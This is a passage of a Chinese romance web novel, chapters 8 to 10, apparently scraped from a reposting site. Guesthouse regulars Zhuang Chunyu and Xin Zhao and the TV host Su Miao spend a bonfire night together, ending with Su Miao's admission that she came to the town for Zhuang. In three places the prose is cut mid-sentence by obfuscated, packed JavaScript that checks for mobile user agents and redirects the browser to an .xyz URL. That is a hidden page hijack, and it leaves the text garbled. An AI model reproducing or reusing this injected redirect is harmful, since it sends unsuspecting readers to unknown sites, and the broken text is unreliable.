那时候苏缈也像现在这样,和她走得很近,对她做一些暧昧又不暧昧的小动作,还有眼神交汇。 以至于很长一段时间,庄春雨确信自己不是单恋。 今晚仿佛场景重现。 又睁眼。 睡意全无。 按理说,她最近一段时间的作息已经趋近正常了,也很久不熬夜,加上今晚外出折腾的这趟累着了,应该能很快入睡才对。 但她没有。 也就是说,在这堆能够影响到她睡眠的因素里,出现了一个不可控的变量。 这个变量的名字,叫苏缈。 捱到后半夜,庄春雨终于撑不住睡过去。 第二天她起很早,下楼吃过饭,路过前台的时候她看一眼日历,视线落在“30”这个数字上,脑海里闪过一个大写的“十”,像在倒数。 今天是第十天。 花生说,苏缈会在这里停留十五天。 今天天气不错,湛蓝的天没有半片云朵,和从漫画里倒出来的标准天空并无二样,庄春雨抱着平板窝在一楼角落靠窗的位置,开始赶稿。 九点半的时候,汪月笙下来了。 顶着两个大大的黑眼圈,一看就没睡好,甚至是没睡。 她端着早餐来到庄春雨这边:“早上好Ring老师……” 汪月笙边说话,忍不住打了个哈欠。 庄春雨手里的笔没停:“昨晚没睡啊?” “嗯……这两天都没睡好,昨晚到三点。” 三点? 那挺能熬的,比她能熬。 话没说两句,楼梯上又下来人了,这回是苏缈。 庄春雨她们坐的的位置正对下楼的楼梯,有人下来,一抬眼就能看见,所以苏缈也在第一时间看见两人,并如往常一样和她们打招呼。 抢着接话的人仍是汪月笙,她变脸似的,一转头脸上就堆满了笑:“苏老师也早上好,今天早餐很不错,你可以去看看有没有你喜欢的。” 苏缈愣了下:“好的。” 她不着痕迹朝汪月笙对面的人看一眼,转身走往公共岛台。 等她一走,汪月笙转回来,人又萎了。 庄春雨觉得好笑:“你刚表现出来的样子,也不像受情伤啊?” “你不懂,那都是我在人前的伪装。” 庄春雨笑得更欢了:“你是不是快回去了来着?” “后天退房。” “那刚好,今晚还有个趴,玩完就回程。” “好好找工作,所谓情场失意,官场得意!” 为了鼓励她,庄春雨将那只握笔的手攥成拳,做了个十分中二的打气动作。 汪月笙这种中二少女,果然很吃这一套:“呜呜呜老师你好会说!我一定会振作起来的!” 两人聊了会儿,笑声飘到岛台的方向,有人又朝这边望了两眼。 没多久,空气掺了点特殊草药香,味道很快就盈满整个一楼。 汪月笙吸吸鼻子:“好浓的中药味啊,谁在煮药。” “苏缈病了,昨天我带她去看镇上的中医,医生给她开了几服药调理,估计是她吧。” 在有关苏缈的事情上,庄春雨用的永远是‘大概’‘估计’‘可能’这样不确定性的词语。 尽管,有些事情她明明能够肯定的说出来。 她不想让人觉得自己跟苏缈很熟。 汪月笙的注意力成功落在‘生病’这两个字上:“苏老师病了?什么病啊?要不要紧?特地出来玩还生病,这也太惨了吧!” “你可以自己去问。” “……不太方便。” 庄春雨玩笑的神情敛起来些,她歪着身子,肘支在椅子的扶手上,指尖落在太阳穴上,轻点:“追不到,就不能做朋友了吗?难道追不到,她就不是你偶像了?” “怎么会?” “但你说得对,就算是普通朋友也可以关心一下。” “我这就去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361005|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汪月笙说风就是雨,行动力拉满。 留下还坐在原地的庄春雨,看似沉思,实则在发呆。 她低头看一眼自己画了整个早上的线稿,不是之前的客稿,也不是什么风景人物,只有个很模糊的轮廓,依稀可以看出,画的是个女人。 没心情画了。 将平板锁屏,又再坐了会儿,庄春雨起身离开。 楼梯上到一半,下方传来轻盈的脚步声。 庄春雨扒在木栏杆上,低头往下,叫住苏缈:“民宿每周都会挑两天办活动,好让新入住的客人融入进来,今晚也有,你要参加吗?” 苏缈微仰着头,看着她,不答反问:“你会来吗?” 庄春雨笑:“我还欠了不少画稿,恐怕没空。” 听完她的,苏缈也给出自己的回答:“我今天没发烧了,但还是有些不舒服,应该会留在房间里休息,就不凑晚上的热闹了。” 行。 意料之中的答案。 走到房间门口,刷卡,开门。 庄春雨脑子里忽然冒出个想法。 要是,她晚上突然出现呢? 苏缈会不会也跟着出现,又改口说,在房间里待得无聊,突然也想一起玩了。 “呵……”画面有些好笑,想着想着,庄春雨忍不住发出一声笑音,气息跟着浮动。 但有些可惜,没法验证这一幕。 因为她欠的稿,真的太多了。 当昏黄的夕阳沉进窗子里,斑驳的光影唤醒庄春雨对时间的感知,几乎同时,不知道被扔到哪个角落里的手机,响了好几声。 新消息进来的提示音。 伸了个长长的懒腰,庄春雨拿起手机,下楼。 倚在门边等人的时候,却在门口的那条青石路上,看见了熟悉的身影。 她眼神飘过去。 七八米外的一颗槐树下,苏缈蹲在那儿,她手边拎着个透明塑料袋,掌心下,一只橘白条纹的小奶猫,被摸得很舒服的样子。 庄春雨密长的睫毛底下,半咪的眼眸,微微眨动。 洗旧的日光将猫和人一齐拢成幅温柔的水墨画,在这乡间小镇里。 有感应似的,苏缈抬头朝这边望来。 当她看清楚倚在门边的庄春雨,眉眼都活了过来,浸染温柔的笑意。 她收回手,正要起身。 “滴——” 远处传来一声响亮的鸣笛。 庄春雨的目光从苏缈身上移走,落到道路尽头,那台缓缓开来的坦克300黑武士上,微微挑眉。 辛朝停稳车下来,直接上手:“我抱抱看~~” “大半个月不见,你是不是又瘦了?手感不对劲。”她伸手在庄春雨的腰上摸了一把,“有没有想我?” “……” 庄春雨一边笑一边翻白眼:“不好意思,没有。” 说完这句,她忽然想起什么,下意识回头去看苏缈。 苏缈这会儿已经没蹲着了。 她就站在那,也在看她—— 和抱住她的人。 9. 第三人 庄春雨挣开辛朝的怀抱,顺带拿开搭在自己腰上的那只手,笑骂:“说话就说话,又占我便宜是吧?” 很异常的反应。 辛朝眸子半眯起,呵笑一声:“你的便宜,我占不得?” 话落,她的目光也跟着滑向庄春雨方才看的方向。 自然而然,看见了苏缈。 “新客人?住我们家的?” 庄春雨懒散应声:“是啊是啊,身为老板你还不过去打个招呼,让人家感受一下咱们民宿的热情。” 辛朝看她一眼,迈动步子走向苏缈。 她一身无袖黑背心加工装裤,栗色长发,脚上是双短靴,看上去不像这家民宿老板,倒像是刚从什么偏远地区下工回来的领队向导。 是与苏缈身上那种令人感到舒适的温和截然相反的,一种,充满野性与生命力的,性感。 “辛朝,辛苦的辛,朝阳的朝。”辛朝朝她伸出手,开了个无伤大雅的玩笑,“我的名字很好记,可以理解为辛辛苦苦朝九晚五当牛马,特别命苦。我是这家民宿的老板,前两天就听花生说咱们家住进来个很漂亮很有气质的女主持人,应该就是你吧?” “确定不是夸张的修饰吗?”苏缈莞尔一笑,温声,“苏缈,缥缈的缈。” 她搭上辛朝的手,回握,点到即止。 待客套完毕,辛朝又说:“名字也很有气质。” 庄春雨看不下去了,远远喊一声,透着股催促味道:“喂?” 辛朝回头望一眼,看向苏缈,作结束语陈词:“我刚回来,先把东西搬进去,希望你在我家民宿住得开心,回见。” 苏缈点头:“回见。” 就这么四五分钟的时间,太阳已经整个沉落,唯剩天边飘着几朵霞红色的云,静谧的蓝调时刻,缓缓来临。 庄春雨绕过车头朝她走来,提醒一句:“一会儿天黑后温差就上来了,这里是风口,你要在附近逛的话,最好上去加件衣服。” “嗯……” 苏缈长睫扑扇着,像是还有话要说。 庄春雨却没给她开口的机会,转身就走。 车后方,辛朝正从后备箱里往外拿东西:“庄妹你快过来,我给你带了礼物。” 庄春雨懒洋洋地探身:“是什么?” “帮我把行李搬进去再告诉你。” * 晚上,院子里燃起篝火。 灯带亮起,椅子稀稀拉拉摆一圈,想玩的客人三三两两从楼上下来,随意落座。 花生在不远处架起三脚支架,在调试录像设备,准备为之后的民宿宣传拍点素材,汪月笙在她旁边凑热闹,两人嘀嘀咕咕。 活动八点开始,现在还差十几分钟。 辛朝从室内直接拉了好长一根线出来接在音响上,放轻音乐。 由于音响够贵,所以让人耳朵很舒适。 庄春雨没精打采地坐在椅子上,左看看,右望望,时不时就会有人和她打招呼,基本都是从微博来的,关注她的一些粉丝。 “要吃吗?”辛朝从旁递来一包刚开的牛肉干。 庄春雨光是看一眼就撑了,她竖起掌心,推回去:“姐,我们刚刚才吃过晚饭。” “不耽误。” 庄春雨沉默。 倏尔,她抱住肩膀,幽幽开口:“说实话,我不应该坐在这里,我这会儿应该坐在房间里赶画稿。” “陪陪我嘛,怎么说我也给你带了一盒那么贵的颜料回来,而且呆不了几天又得走了。”辛朝语气软下去,习惯性往她身上靠。 庄春雨也不躲。 她想想,辛朝给她带的那盒颜料确实不便宜,也不好买,是加入当地特殊矿物制成的。 “那什么时候走?” “你是真没良心啊,就没有一点舍不得吗?” 两人在这低声拌嘴,斜前方,突然传来一声“苏老师”,汪月笙同人闲聊的空隙,抬头就看见了从二楼下来的苏缈。 庄春雨第一眼注意到的,是对方身上多出的那件薄外套。 还挺……听话的。 思绪游离间,人已经越过其它空位,来到了她面前。 “这里有人吗?” 苏缈示意她右手边的空位。 庄春雨摇头。 苏缈点点头,落座。 几秒后,庄春雨懒散的坐姿变得规矩许多,她抿抿唇,顺便将靠在自己身上的辛朝轻轻推开:“你好重,起开。” 辛朝蹙眉。 又几秒,庄春雨还更过分地挪了挪椅子。 辛朝直接气笑。 庄春雨挪一寸,她也跟着挪一寸。 庄春雨忍不住了,小声问:“你干嘛?” 辛朝却不理会儿她,正常音量,边问边笑话她:“那你在干嘛?” 两人这边的动静引起其它客人注意,苏缈也偏头,大大方方地看。 感受到身旁这道视线,庄春雨脸开始发烫,她清清嗓子,义正言辞:“人多,太热了,坐开一点这样好过风。” “今晚十九度,你和我说热?” “法律规定十九度不准热吗?我体热行不行啊?” 庄春雨是真急了,开始撵人:“过去一点你。” 辛朝看一眼她身旁的苏缈,默不作声,将椅子挪回原来的位置。 片刻后,庄春雨又转头,看向右边的苏缈:“你也过去一点。” 真是无语了,她本来想把椅子挪开离辛朝稍微远点,免得苏缈误会,虽然这么做并没有任何的意义,结果这么一挪,离辛朝是远了,但离苏缈很近。 她往左挪不是,往右挪,也不是。 想来想去,最好的办法还是自己不动,让两边的人挪。 “……我吗?”苏缈难得重复一遍她的话,带点迟疑。 庄春雨用睿智的眼神看她。 不是你,还能是谁? 本以为只是庄春雨和辛朝之间的事,没想到还有自己的份。 苏缈疑惑,但还是照做了。 很快,庄春雨坐在中间,和两边的人分别隔着两拳宽的距离。 她装模作样,以手为扇,放在脸旁扇了扇,转过脸去看苏缈,开始闲聊:“不是说晚上不来,要在房间休息吗?” 她上午的时候说什么来着? 就知道苏缈是冲着她来的。 演都不演了。 但是苏缈啊苏缈,你图什么呢? 苏缈眨了下眼,出口的话和庄春雨预料的几乎分毫不差:“一个人在房间待着无聊,听见楼下动静很热闹,下来看看。” 庄春雨差点笑出声。 不好说。这种感觉,有点爽是怎么回事? “你不也说没空,要赶稿吗?” 憋笑还是有些难度的,庄春雨废了些功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361006|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,双手抱肩往椅子上一靠,撇嘴:“辛朝好不容易回来一趟,待不了几天又要走,非要我陪她。” 坐在一旁的辛朝听见自己被提到,转过脸,再次友好地冲苏缈笑笑:“牛肉干吃吗?” 苏缈礼貌地摆摆手:“不用了。” 庄春雨拿眼神瞪她:“别吃你那破牛肉干了,时间差不多可以开始,你的活动主持人呢?” “今晚我自己来。” 辛朝拍拍手,放下牛肉干,直接起身。 不得不说,她这两下,敛起玩笑神色正经的时候站在火光里被气氛这么一烘,还挺有魅力,姐感十足。 庄春雨不意外听见周围响起女孩们窃窃私语的讨论,有人举起手机,开始拍照。 辛朝很有磁性的声音通过话筒,钻入每个人的耳朵里。 庄春雨眸光微闪。 或许苏缈还不知道,她们这家民宿,一个窝打下去钓上来的全是女同。 而这种每周定期举办的活动,无异于拉子交友现场。 为什么呢? 因为作为宣传委员,她的性取向从未遮掩过。 粉随正主不是。 一个女同博主的粉丝,能直到哪去? 苏缈混在其中,真挺异类的。 还容易让人误会。 “你们关系很好。” 乱飞的思绪里,忽然飘进来一道干净的人声。 苏缈刻意放低音量。 庄春雨想也没想:“她是我回国以后,交到的第一个朋友。” 也是,唯一一个,虽然毫无关系,却对她伸出援手的人。 所以关系好。 只是这样的感情,不足为外人道。 夜色下的热闹一浪盖过一浪,如果是喜静的人往这坐,估计只会觉得喧嚣和吵闹。 苏缈会觉得吵吗? 庄春雨不知道。 辛朝主持了个开头,然后把剩下的扔给花生,自己躲回座位上。 她抱回来一箱啤酒,供大家自取饮用。 庄春雨开了一罐,辛朝也顺手开一罐,当她准备让庄春雨递给旁边的苏缈时,庄春雨拒绝了:“她病没好,不能喝酒。” 这其实是一个很微妙的立场。 凭什么,她可以帮苏缈拒绝别人? 反应过来这点后,庄春雨装作若无其事,偏头找补。她舔舔唇,朝苏缈眨眼:“我是说应该……是吧?” 苏缈又笑:“嗯。” 笑笑笑,也不知道一天到晚,到底在笑什么。 庄春雨悄声腹诽。 整晚,气氛都维持在一个很微妙的平衡点。 活动进行到一半的时候,苏缈抽中支互动签,花生知道她是个误入女同局的公众人物,没打算为难:“苏老师,那就说说最近一次撒谎的内容是什么吧?” 苏缈有很认真想,最后很无奈:“我最近撒的谎,有点多。” “啊——?” 院子里翻起阵阵笑浪。 节目效果被突然拉起,花生愣了两秒,配合道:“那就随便说一个无伤大雅的吧。” 苏缈长睫忽闪着,沉吟:“我来水镇,是为了旅游。” 话落,大家都愣了两秒,随后反应过来她这句,是谎话。 那么真话是…… 庄春雨转头,看向她—— 我来水镇,并非为旅游。 10. 是 这轮热闹过完,又进入下一轮。 每个人都很沉浸。 但,庄春雨右边的位置空了。 铁桶里的木材被烧得噼里啪啦,冷不丁,火花炸开,升起的火舌开始往朝着边缘外跃,贪婪地,想要往外吞噬一切。 为什么? 因为添柴的人有意将这火焰燃高,想要看它迈出这一步。 贪心的一步。 庄春雨觉得自己就是那火焰,而苏缈,就是那个不断添柴的人。 “是她吗?你之前说过的那个。” 辛朝的椅子不知道什么时候又移了过来,两人之间刻意拉开的间距,没了。 她的身体稍稍前倾,影子笼住庄春雨的脸,身后,是摇曳的火光。 “什么?” 庄春雨在走神,反应有点慢。 辛朝盯着她,像在审视。 倏尔,庄春雨反应过来,她往椅背上一靠,无奈叹息:“是她。” 刚到水镇那会儿,庄春雨和辛朝的交情与日俱增,而人与人的关系要在短时间内变得那么好,难免相互交换一些信息,以证明,我的世界,欢迎你的到来。 而这些信息,就是我给你的通行证。 是信任,是交换。 庄春雨曾经对辛朝说过,她没谈过恋爱,但是学生时代喜欢过一个人,哪怕是伦敦留学的那几年里也会经常想起。 她问过辛朝,人是什么很长情的动物吗?怎么能记一个人记那么久啊? 辛朝当时的回答的是,你喜欢的并非这个人本身,而是回忆里,那段被幻想和滤镜修饰过的过往。 因为回不去和留有遗憾的尾巴,才格外让人稀罕。 刚开始,庄春雨觉得辛朝说得对。 但经过这几天,她又觉得辛朝说得不对。 这套理论放在苏缈身上,就不适用。 辛朝拉开一罐啤酒,递给她:“她刚刚那话是对你说的吧,不是来旅游的,应该是来找人的。” 至于是找谁,答案已经很明显。 “……”庄春雨垂眸,抿一口酒,摇头,“不知道。” “她在钓你,你没发现吗?” 庄春雨掀眼:“人家是直的。” “直的?”辛朝笑出声,笑声混在人群稀稀拉拉的说话声里,用一种“她是直的,我看你是智障”的表情看她。 “那你还喜欢她吗?” “不知道。” 庄春雨又摇头,没有聚焦的瞳孔朝望天际。 魂都不在这,早飘走了。 辛朝有些无奈:“问你什么你都不知道,那你知道些什么?” “什么都不知道。哎呀,你别问了,我脑子好乱,你让我一个人安静会儿,求你了。”庄春雨捏着啤酒罐子,双手合拢,愁眉苦脸朝辛朝拜了拜。 她就是什么都不知道啊,她现在也很茫然,各种各样的念头在脑子里打转。 辛朝挑这时候问,问也白问。 “那聊点别的?” 庄春雨直接拒绝:“现在什么都不想聊。” 十几秒后,她手机响起一笔转账提示音,解锁后,庄春雨震惊转头看向旁边那个满脸云淡风轻的女人:“你中彩票了?” “今晚不是耽搁你画稿的时间了吗?这趟出去收了一大笔款,借你点,这个月不是要还助学贷?” 辛朝说这话没看庄春雨,摇曳的火光在她脸上落下明明灭灭的光影。 她出手,真的很大方。 庄春雨沉默一瞬,钱原封不动退回去:“我不要,最近赚得还行,还贷款的钱够了,等实在没钱我再找你借。” 不知道苏缈去哪了。 她看看右手边的空位,喝完手里剩下的啤酒,重新拿一罐。 又过几分钟,辛朝抬腕看一眼时间。 庄春雨瞥见她的动作:“怎么了?” “她去得有点久,”民宿做久了,安全意识这块早已经植入辛朝的骨子里,“我记得刚刚人没往后院走,好像去大门外边了,怕出什么事,我得出去看看。” “我去。” 没等辛朝说完,庄春雨人已经从椅子上起身。 空座从一个变成两个,还是并排。 苏缈之前答完花生的提问,接到个电话就出去了,庄春雨也没注意时间。 被辛朝这么一说才发觉,人离开得是有些久了。 庄春雨曾经说过水镇的治安不错,但不代表一个女孩子半夜走在外面,就很安全。 无论多低的概率,只要碰上,就是百分百。 然而她的担心,很快变得有些多余。 还没出大门,庄春雨就听见了苏缈熟悉的语调声,与傍晚时分遇见的位置一样,还是那颗槐树,有些年头的路灯将人影子拉得老长。 庄春雨听了会儿,觉得不太礼貌,又折回去。 辛朝见她这么快回来,朝她身后好奇地张望:“怎么了,没找到人?” 庄春雨摇头:“没事,还在打电话,就在门口。” 她从椅子上捡起那罐没喝完的啤酒,重新坐下。 没多久,苏缈也回来了。 活动十点结束。 今晚人多,热闹,散场后院子里被弄得有些乱,花生一个人收拾不过来,辛朝这个做老板的自觉参与进来。 庄春雨想着自己在这白吃白住,跟着搭把手。 苏缈也没走。 用来装垃圾的编织袋很快装满,庄春雨跟苏缈分别提一只角,将袋子拎到街口的大号垃圾桶前放好,等明天垃圾车上班拖走。 藏了整晚的月亮终于舍得从云层里冒头,漏出点月光,照得脚下的影子晃悠悠的。 有人憋了整晚的话,终于有机会问出口。 “你要提前回去吗?” “什么?”苏缈转头。 庄春雨斟酌着言语:“你刚刚出去接电话,去得有点久,我不放心就出来看了看,不小心听见一点。” “你是要提前回湘城吗?” 庄春雨又问一遍。 苏缈在省台工作,现在就在湘城。 她问完以后有些不自在,于是伸手去摸手机,低头看屏幕,按亮,看一眼时间,又锁屏,像是在缓解某种情绪:“如果你要提前走的话,什么时候?我看看时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361007|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,这两天安排一下可以陪你到处去玩玩,嗯……你大老远过来一趟,哪都没去也挺扫兴的……” 就当是尽地主之谊吧。 高三那年没道别,这次好好画个句号。 庄春雨对自己说。 可苏缈却摇头:“我不会提前走。” 这就让庄春雨有点意外。 或许,不止是意外。 庄春雨发现自己还有一点,开心。 “就听见了这个吗?” 苏缈轻声。 有片羽毛落了下来,落在庄春雨的心湖。 涟漪轻晃。 苏缈注视着她:“其他的呢?” 再往前走几十米就是民宿大门了,院子里的光越过门槛,铺到路边,苏缈停下步子,不再往前。 庄春雨被她牵引着,跟着停住脚步:“也听见了一些。” “哪些?” “你生病了,电视台能给你批这么长的假,是以为你要养病。”结果苏缈偷偷跑到水镇来,还被人拍到,发到了网上,现在有一点质疑的声音。 明明不是什么好事情,苏缈却在笑:“嗯,台里很生气。”她说,“但是我有自己的理由。” 庄春雨屏住呼吸。 她当然知道。 就像辛朝说的那样,水镇有什么? 如果不是风景,那与苏缈相关联的,就只剩自己了。 但前者,苏缈已经在所有人面前回答过——来旅游,只是个谎言。 庄春雨出现了短暂的耳鸣,一瞬而过,心脏也开始发胀。 她听见自己的声音,出乎意料的平静:“是因为我吗?” 来这的理由。 被庄春雨突然的直白惊讶了一瞬,苏缈别起耳边的碎发,弯眸:“是。” 庄春雨歪头,又问:“那在网上看见的应该也不止是旅游安利,还有我跟粉丝的合影吧?” 不然的话,也没有别的渠道能知道她在这了。 苏缈:“是。” 庄春雨:“所以我当初向你表白,也不是一厢情愿,你……也喜欢我?” 苏缈咬唇:“是。” 从心脏开始蔓延的胀痛感游遍四肢百骸,纵使早已经猜到答案,可真正听见时,庄春雨还是感觉被人重重抡了一拳。 被打得满地找牙,分不清东南西北,一点儿也不想爬起来了。 趴着就挺好。 这样的答案对她来说一点儿也不惊喜,甚至是,有些过于残忍。 沉默。 苏缈唇角的弧度渐渐落下,她后知后觉,事情似乎并不像自己想的那样发展顺利。 哪儿,不太对。 但她不知道。 苏缈半张着唇:“你还有其他……” 凉风钻进喉咙眼,又是一阵咳嗽声。 庄春雨抬头看一眼黑黢黢的天,目光落在苏缈因为咳嗽而颤动的薄肩上,心情五味杂陈,却仍故作轻松地错开了话题:“今晚的风有点大诶,回去再说吧。” 她不敢再问下去了。 那现在还喜欢吗? 她怕苏缈的回答依然是,是。